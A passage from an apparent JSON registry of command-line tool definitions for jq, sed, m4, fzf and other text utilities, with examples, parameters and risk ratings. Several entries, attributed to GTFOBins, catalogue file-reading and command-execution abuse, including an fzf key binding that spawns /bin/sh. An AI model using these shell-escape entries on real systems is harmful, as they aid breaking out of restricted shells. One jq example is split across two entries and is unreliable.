      },
      {
        "description": "Extract as stream of values instead of a list",
        "command": "jq '.[] | .foo'"
      },
      {
        "description": "Slicing",
        "command": "jq '.[1:2]'"
      },
      {
        "description": "Dictionary subset shorthand",
        "command": "jq 'map({ a, b })'"
      },
      {
        "description": "Converting arbitrary data to json",
        "command": "jq -r '(map(keys) | add | unique | sort) as $cols \\"
      },
      {
        "description": "cheat.sheets: jq",
        "command": "| .[] as $row | $cols | map($row[.]) | @csv'"
      },
      {
        "description": "Filter a list of objects",
        "command": "jq 'map(select(.name == \"foo\"))'"
      },
      {
        "description": "Add + 1 to all items",
        "command": "jq 'map(.+1)'"
      },
      {
        "description": "Delete 2 items",
        "command": "jq 'del(.[1, 2])'"
      },
      {
        "description": "Concatenate arrays",
        "command": "jq 'add'"
      },
      {
        "description": "Flatten an array",
        "command": "jq 'flatten'"
      },
      {
        "description": "Create a range of numbers",
        "command": "jq '[range(2;4)]'"
      },
      {
        "description": "Display the type of each item",
        "command": "jq 'map(type)'"
      },
      {
        "description": "Sort an array of basic type",
        "command": "jq 'sort'"
      },
      {
        "description": "Sort an array of objects",
        "command": "jq 'sort_by(.foo)'"
      },
      {
        "description": "Sort lines of a file",
        "command": "jq --slurp '. | sort | .[]'"
      },
      {
        "description": "Group by a key - opposite to flatten",
        "command": "jq 'group_by(.foo)'"
      },
      {
        "description": "Minimum value of an array",
        "command": "jq 'min'"
      },
      {
        "description": "Remove duplicates",
        "command": "jq 'unique'"
      },
      {
        "description": "or",
        "command": "jq 'unique_by(.foo)'"
      },
      {
        "description": "or",
        "command": "jq 'unique_by(length)'"
      },
      {
        "description": "Reverse an array",
        "command": "jq 'reverse'"
      },
      {
        "description": "URL Encode something",
        "command": "date | jq -sRr @uri"
      },
      {
        "description": "To create proper JSON from a shell script and properly escape variables:",
        "command": "jq -n --arg foobaz \"$FOOBAZ\" '{\"foobaz\":$foobaz}'"
      },
      {
        "description": "To fill environment variables from JSON object keys (e.g. $FOO from jq query \".foo\")",
        "command": "export $(jq -r '@sh \"FOO=\\(.foo) BAZ=\\(.baz)\"')"
      },
      {
        "description": "Parsing json",
        "command": "jq 'with_entries(.value |= fromjson)' --sort-keys"
      },
      {
        "description": "Serializing json",
        "command": "jq 'with_entries(.value |= tojson)' --sort-keys"
      },
      {
        "description": "Converting to csv",
        "command": "jq '.[] | [.foo, .bar] | @csv' -r"
      }
    ],
    "execution": {
      "template": "jq {null-input} {raw-input} {slurp} {compact-output} {raw-output}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "batch",
      "process-manip",
      "output-json"
    ],
    "id": "text-process-jq",
    "install": [
      {
        "method": "apt",
        "package_name": "jq",
        "commands": [
          "apt-get install -y jq"
        ]
      },
      {
        "method": "brew",
        "package_name": "jq",
        "commands": [
          "brew install jq"
        ]
      }
    ],
    "name": "jq",
    "namespace": "text:process:jq",
    "parameters": [
      {
        "name": "arg",
        "template_key": "arg",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set $name to the string value",
        "aliases": [
          "--arg"
        ],
        "flag": "--arg"
      },
      {
        "name": "argjson",
        "template_key": "argjson",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--slurpfile name file set $name to an array of JSON values read from the file; --rawfile name file set $name to string contents of file; --args consume remaining arguments as positional string values; --jsonargs consume remaining arguments as positional JSON values",
        "aliases": [
          "--argjson"
        ],
        "flag": "--argjson"
      },
      {
        "name": "args",
        "type": "boolean",
        "required": false,
        "description": "consume remaining arguments as positional",
        "aliases": [
          "--args"
        ],
        "flag": "--args"
      },
      {
        "name": "ascii-output",
        "template_key": "ascii-output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output strings by only ASCII characters",
        "aliases": [
          "-a",
          "--ascii-output"
        ],
        "flag": "-a"
      },
      {
        "name": "build-configuration",
        "template_key": "build-configuration",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show jq's build configuration",
        "aliases": [
          "--build-configuration"
        ],
        "flag": "--build-configuration"
      },
      {
        "name": "color-output",
        "template_key": "color-output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "colorize JSON output",
        "aliases": [
          "-C",
          "--color-output"
        ],
        "flag": "-C"
      },
      {
        "name": "compact-output",
        "template_key": "compact-output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "compact instead of pretty-printed output",
        "aliases": [
          "-c",
          "--compact-output"
        ],
        "flag": "-c"
      },
      {
        "name": "exit-status",
        "template_key": "exit-status",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set exit status code based on the output",
        "aliases": [
          "-e",
          "--exit-status"
        ],
        "flag": "-e"
      },
      {
        "name": "from-file",
        "template_key": "from-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "load the filter from a file",
        "aliases": [
          "-f",
          "--from-file"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show the help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "indent",
        "template_key": "indent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use n spaces for indentation (max 7 spaces)",
        "aliases": [
          "--indent"
        ],
        "flag": "--indent"
      },
      {
        "name": "join-output",
        "template_key": "join-output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "implies -r and output without newline after",
        "aliases": [
          "-j",
          "--join-output"
        ],
        "flag": "-j"
      },
      {
        "name": "jsonargs",
        "type": "boolean",
        "required": false,
        "description": "consume remaining arguments as positional",
        "aliases": [
          "--jsonargs"
        ],
        "flag": "--jsonargs"
      },
      {
        "name": "library-path",
        "template_key": "library-path",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "search modules from the directory",
        "aliases": [
          "-L",
          "--library-path"
        ],
        "flag": "-L"
      },
      {
        "name": "monochrome-output",
        "template_key": "monochrome-output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable colored output",
        "aliases": [
          "-M",
          "--monochrome-output"
        ],
        "flag": "-M"
      },
      {
        "name": "null-input",
        "template_key": "null-input",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use `null` as the single input value",
        "aliases": [
          "-n",
          "--null-input"
        ],
        "flag": "-n"
      },
      {
        "name": "raw-input",
        "template_key": "raw-input",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "read each line as string instead of JSON",
        "aliases": [
          "-R",
          "--raw-input"
        ],
        "flag": "-R"
      },
      {
        "name": "raw-output",
        "template_key": "raw-output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output strings without escapes and quotes",
        "aliases": [
          "-r",
          "--raw-output"
        ],
        "flag": "-r"
      },
      {
        "name": "raw-output0",
        "template_key": "raw-output0",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "implies -r and output NUL after each output",
        "aliases": [
          "--raw-output0"
        ],
        "flag": "--raw-output0"
      },
      {
        "name": "rawfile",
        "type": "boolean",
        "required": false,
        "description": "name file   set $name to string contents of file;",
        "aliases": [
          "--rawfile"
        ],
        "flag": "--rawfile"
      },
      {
        "name": "seq",
        "template_key": "seq",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "parse input/output as application/json-seq",
        "aliases": [
          "--seq"
        ],
        "flag": "--seq"
      },
      {
        "name": "slurp",
        "template_key": "slurp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "read all inputs into an array and use it as",
        "aliases": [
          "-s",
          "--slurp"
        ],
        "flag": "-s"
      },
      {
        "name": "slurpfile",
        "type": "boolean",
        "required": false,
        "description": "name file set $name to an array of JSON values read",
        "aliases": [
          "--slurpfile"
        ],
        "flag": "--slurpfile"
      },
      {
        "name": "sort-keys",
        "template_key": "sort-keys",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "sort keys of each object on output",
        "aliases": [
          "-S",
          "--sort-keys"
        ],
        "flag": "-S"
      },
      {
        "name": "stream",
        "template_key": "stream",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "parse the input value in streaming fashion",
        "aliases": [
          "--stream"
        ],
        "flag": "--stream"
      },
      {
        "name": "stream-errors",
        "template_key": "stream-errors",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "implies --stream and report parse error as",
        "aliases": [
          "--stream-errors"
        ],
        "flag": "--stream-errors"
      },
      {
        "name": "tab",
        "template_key": "tab",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use tabs for indentation",
        "aliases": [
          "--tab"
        ],
        "flag": "--tab"
      },
      {
        "name": "unbuffered",
        "template_key": "unbuffered",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "flush output stream after each output",
        "aliases": [
          "--unbuffered"
        ],
        "flag": "--unbuffered"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show the version",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "jq manual",
        "url": "https://jqlang.github.io/jq/manual/"
      },
      {
        "label": "jq playground",
        "url": "https://jqplay.org/"
      }
    ],
    "related_tools": [
      "yq",
      "jc",
      "fx"
    ],
    "risk_level": "low",
    "techniques": [
      "data-manipulation",
      "analysis"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "formatted-output"
      ],
      "consumes": [
        "raw-json"
      ]
    }
  },
  {
    "_body": "",
    "_source": "m4.md",
    "allowed-tools": [
      "m4",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Macro processor, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via m4",
        "command": "m4 /path/to/file"
      },
      {
        "description": "Execute command via m4",
        "command": "m4 /path/to/file"
      }
    ],
    "execution": {
      "template": "m4 /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-process-m4",
    "install": [
      {
        "method": "apt",
        "package_name": "m4",
        "commands": [
          "apt-get install -y m4"
        ]
      }
    ],
    "name": "m4",
    "namespace": "text:process:m4",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/m4/"
      }
    ],
    "related_tools": [
      "gcc",
      "autoconf"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "nl.md",
    "allowed-tools": [
      "nl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Number lines of files, can read files.",
    "examples": [
      {
        "description": "Read a file via nl",
        "command": "nl /path/to/file"
      }
    ],
    "execution": {
      "template": "nl /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-process-nl",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "nl",
    "namespace": "text:process:nl",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/nl/"
      }
    ],
    "related_tools": [
      "cat",
      "pr"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "paste.md",
    "allowed-tools": [
      "paste",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Merge lines of files, can read files.",
    "examples": [
      {
        "description": "Read files via paste",
        "command": "paste /path/to/file1 /path/to/file2"
      }
    ],
    "execution": {
      "template": "paste /path/to/file1 /path/to/file2",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-process-paste",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "paste",
    "namespace": "text:process:paste",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/paste/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "redcarpet.md",
    "allowed-tools": [
      "redcarpet",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Markdown renderer, can execute commands.",
    "examples": [
      {
        "description": "Execute command via redcarpet",
        "command": "redcarpet /path/to/file"
      }
    ],
    "execution": {
      "template": "redcarpet /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-process-redcarpet",
    "install": [
      {
        "method": "gem",
        "package_name": "redcarpet",
        "commands": [
          "gem install redcarpet"
        ]
      }
    ],
    "name": "redcarpet",
    "namespace": "text:process:redcarpet",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/redcarpet/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rev.md",
    "allowed-tools": [
      "rev",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Reversed file content"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Reverse lines of a file, can read files.",
    "examples": [
      {
        "description": "Read a file via rev",
        "command": "rev /path/to/file"
      }
    ],
    "execution": {
      "template": "rev /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-process-rev",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "name": "rev",
    "namespace": "text:process:rev",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rev/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# Sed — Stream Editor\n\nSed is a non-interactive stream editor that performs text transformations on input streams. It's ideal for automated text processing in scripts and pipelines, particularly find-and-replace operations.\n\n## Substitution\n\n```bash\n# Basic substitution (first match per line)\nsed 's/pattern/replacement/' file.txt\n\n# Global substitution (all matches)\nsed 's/pattern/replacement/g' file.txt\n\n# Case-insensitive\nsed 's/pattern/replacement/gi' file.txt\n\n# Replace only on specific lines\nsed '3s/pattern/replacement/' file.txt\nsed '10,20s/pattern/replacement/g' file.txt\n```\n\n## Line Operations\n\n```bash\n# Delete lines\nsed '5d' file.txt               # Delete line 5\nsed '/^$/d' file.txt             # Delete empty lines\nsed '/^#/d' file.txt             # Delete comments\n\n# Print specific lines\nsed -n '5p' file.txt             # Print line 5 only\nsed -n '/error/p' file.txt       # Print lines containing 'error'\n\n# Insert and append\nsed '2i\\inserted line' file.txt  # Insert before line 2\nsed '2a\\appended line' file.txt  # Append after line 2\n```\n\n## In-Place Editing\n\n```bash\n# Edit file directly (BSD/macOS requires space)\nsed -i '' 's/foo/bar/g' file.txt     # macOS\nsed -i 's/foo/bar/g' file.txt         # Linux\n\n# Create backup\nsed -i.bak 's/foo/bar/g' file.txt\n```\n\n## Multiple Commands\n\n```bash\n# Chain with -e\nsed -e 's/foo/bar/' -e '/^$/d' file.txt\n\n# Chain with semicolons\nsed 's/foo/bar/; /^$/d' file.txt\n\n# From a script file\nsed -f script.sed file.txt\n```\n\n## Related Tools\n\n- **[awk](../process/awk.md)** — Field-oriented text processing\n- **[grep](../../search/grep.md)** — Pattern search and filtering\n- **[tr](../../transform/tr.md)** — Character translation\n- **[cut](../../transform/cut.md)** — Field extraction\n",
    "_source": "sed.md",
    "allowed-tools": [
      "sed",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "text.transformed",
        "description": "Text after sed transformation",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "text.transform.substitute",
      "text.transform.delete",
      "text.transform.insert",
      "text.transform.append",
      "text.filter.line",
      "text.process.stream"
    ],
    "contract": {
      "inputs": [
        {
          "type": "text.plain",
          "description": "Input text stream to transform"
        }
      ],
      "outputs": [
        {
          "type": "text.transformed",
          "description": "Text after applying sed script",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Stream editor for parsing and transforming text using pattern matching and substitution operations.",
    "examples": [
      {
        "description": "Find and replace first occurrence per line",
        "command": "sed 's/old/new/' file.txt"
      },
      {
        "description": "Global find and replace all occurrences",
        "command": "sed 's/old/new/g' file.txt"
      },
      {
        "description": "In-place edit with backup",
        "command": "sed -i.bak 's/foo/bar/g' config.txt"
      },
      {
        "description": "Delete lines matching a pattern",
        "command": "sed '/^#/d' config.conf"
      },
      {
        "description": "Print lines 10-20",
        "command": "sed -n '10,20p' file.txt"
      },
      {
        "description": "Delete trailing whitespace",
        "command": "sed 's/[[:space:]]*$//' file.txt"
      },
      {
        "description": "Darkiros UTILS: Replace multiple space to one",
        "command": "sed -e 's/  */ /g'"
      },
      {
        "description": "Darkiros UTILS: Remove the last char",
        "command": "sed 's/.$//'"
      },
      {
        "description": "Preview a file edit, via substitution.",
        "command": "sudo sed 's/Name=Xfce Session/Name=Xfce_Session/' FILE"
      },
      {
        "description": "Replace the same string more than once per line (g flag)",
        "command": "sudo sed 's/Name=Xfce Session/Name=Xfce_Session/g' FILE"
      },
      {
        "description": "Edit a file (adding -i flag), in-place; changes are made to the file(s).",
        "command": "sudo sed -i 's/Name=Xfce Session/Name=Xfce_Session/' FILE"
      },
      {
        "description": "It can become necessary to escape special characters in your string.",
        "command": "sed -i 's/\\/path\\/to\\/somewhere\\//\\/path\\/to\\/anotherplace\\//' FILE"
      },
      {
        "description": "Change your sed delimiter to a pipe to avoid escaping slashes.",
        "command": "sed -i 's|/path/to/somewhere/|/path/to/anotherplace/|' FILE"
      },
      {
        "description": "Print 2nd line",
        "command": "sed -n '2p' FILE"
      },
      {
        "description": "Print lines from 2 till 9",
        "command": "sed -n '2,9p' FILE"
      },
      {
        "description": "Print lines starting from one having pattern \"any\" till line number 17",
        "command": "sed -n '/any/,17p' FILE"
      },
      {
        "description": "Print lines starting from the beginning, quit after printing 3rd line",
        "command": "sed -n 'p;3q'"
      },
      {
        "description": "Print and quit at 5th line",
        "command": "sed -n '5{p;q}' FILE"
      },
      {
        "description": "Print lines starting from the one having pattern \"strstart\" till the line having pattern \"strend\"",
        "command": "sed -n '/strstart/,/strend/p' FILE"
      },
      {
        "description": "Print the last line",
        "command": "sed -n '$p' FILE"
      },
      {
        "description": "Replace tabs with 4 spaces (changes are written to file itself)",
        "command": "sed -i 's/\\t/    /g' FILE"
      },
      {
        "description": "Replace CRLF with LF (convert DOS/Windows line endings to Linux line endings)",
        "command": "sed -i  's/\\r$//g' FILE"
      },
      {
        "description": "Insert CR (carriage return) character before LF (line feed) character (Linux to DOS/Windows line endings conversion)",
        "command": "sed -i 's/$/\\r/' FILE"
      },
      {
        "description": "Remove trailing spaces (changes are written to file itself)",
        "command": "sed -i -E \"s/\\s+$//g\" FILE"
      },
      {
        "description": "Remove empty lines (changes are written to file itself)",
        "command": "sed -i -E \"/^\\s*$/d\" FILE"
      },
      {
        "description": "Anonymize original MAC address of an Ethernet device in ifconfig's output (match 6 pairs of hexadecimal numbers with an optional trailing \":\")",
        "command": "ifconfig | sed -E \"/ether/ s/([0-9a-f]{2}:{0,1}){6}/00:00:00:00:00:00/g\""
      },
      {
        "description": "Rearrange order of %Y,%m,%d in `date`s output by matching groups of characters",
        "command": "date '+%Y-%m-%d' | sed -E \"s/([0-9]{4})-([0-9]{2})-([0-9]{2})/\\3-\\2-\\1/\""
      }
    ],
    "execution": {
      "template": "sed {quiet} {expression} {file} {follow-symlinks} {in-place}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "batch",
      "process-manip"
    ],
    "id": "text-process-sed",
    "install": [
      {
        "method": "apt",
        "package_name": "sed",
        "commands": [
          "apt-get install -y sed"
        ]
      },
      {
        "method": "brew",
        "package_name": "gnu-sed",
        "commands": [
          "brew install gnu-sed"
        ]
      }
    ],
    "name": "sed",
    "namespace": "text:process:sed",
    "parameters": [
      {
        "name": "expression",
        "template_key": "expression",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "add the script to the commands to be executed",
        "aliases": [
          "-e",
          "--expression"
        ],
        "flag": "-e"
      },
      {
        "name": "file",
        "template_key": "file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "add the contents of script-file to the commands to be executed",
        "aliases": [
          "-f",
          "-f",
          "-f",
          "--file"
        ],
        "flag": "-f"
      },
      {
        "name": "follow-symlinks",
        "template_key": "follow-symlinks",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow symlinks when processing in place",
        "aliases": [
          "--follow-symlinks"
        ],
        "flag": "--follow-symlinks"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "display this help and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "in-place",
        "template_key": "in-place",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "edit files in place (makes backup if SUFFIX supplied)",
        "aliases": [
          "-i",
          "--in-place"
        ],
        "flag": "-i"
      },
      {
        "name": "line-length",
        "template_key": "line-length",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "specify the desired line-wrap length for the `l' command",
        "aliases": [
          "-l",
          "--line-length"
        ],
        "flag": "-l"
      },
      {
        "name": "null-data",
        "template_key": "null-data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "separate lines by NUL characters --help display this help and exit --version output version information and exit",
        "aliases": [
          "-z",
          "--null-data"
        ],
        "flag": "-z"
      },
      {
        "name": "posix",
        "template_key": "posix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable all GNU extensions",
        "aliases": [
          "--posix"
        ],
        "flag": "--posix"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress automatic printing of pattern space --debug annotate program execution",
        "aliases": [
          "-n",
          "--quiet",
          "--silent"
        ],
        "flag": "-n"
      },
      {
        "name": "regexp-extended",
        "template_key": "regexp-extended",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use extended regular expressions in the script (for portability use POSIX -E)",
        "aliases": [
          "-E",
          "-r",
          "--regexp-extended"
        ],
        "flag": "-E"
      },
      {
        "name": "sandbox",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--sandbox"
        ],
        "flag": "--sandbox"
      },
      {
        "name": "separate",
        "template_key": "separate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "consider files as separate rather than as a single, continuous long stream. --sandbox operate in sandbox mode (disable e/r/w commands)",
        "aliases": [
          "-s",
          "--separate"
        ],
        "flag": "-s"
      },
      {
        "name": "unbuffered",
        "template_key": "unbuffered",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "load minimal amounts of data from the input files and flush the output buffers more often",
        "aliases": [
          "-u",
          "--unbuffered"
        ],
        "flag": "-u"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "output version information and exit",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "GNU Sed manual",
        "url": "https://www.gnu.org/software/sed/manual/"
      },
      {
        "label": "Sed one-liners",
        "url": "https://sed.sourceforge.io/sed1line.txt"
      }
    ],
    "related_tools": [
      "cut",
      "grep",
      "tr",
      "awk",
      "system-file-tr",
      "text-process-awk",
      "text-search-grep"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "data-manipulation",
      "analysis"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "transformed-text"
      ],
      "consumes": [
        "input-text"
      ]
    }
  },
  {
    "_body": "",
    "_source": "fzf.md",
    "allowed-tools": [
      "fzf",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fuzzy finder, can read files and execute commands.",
    "examples": [
      {
        "description": "Execute command via fzf",
        "command": "fzf --bind 'x:execute(/bin/sh -c {})'"
      }
    ],
    "execution": {
      "template": "fzf --bind 'x:execute(/bin/sh -c {})'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive"
    ],
    "global_vars": {},
    "id": "text-search-fzf",
    "install": [
      {
        "method": "apt",
        "package_name": "fzf",
        "commands": [
          "apt-get install -y fzf"
        ]
      }
    ],
    "name": "fzf",
    "namespace": "text:search:fzf",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/fzf/"
      }
    ],
    "related_tools": [
      "sk"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
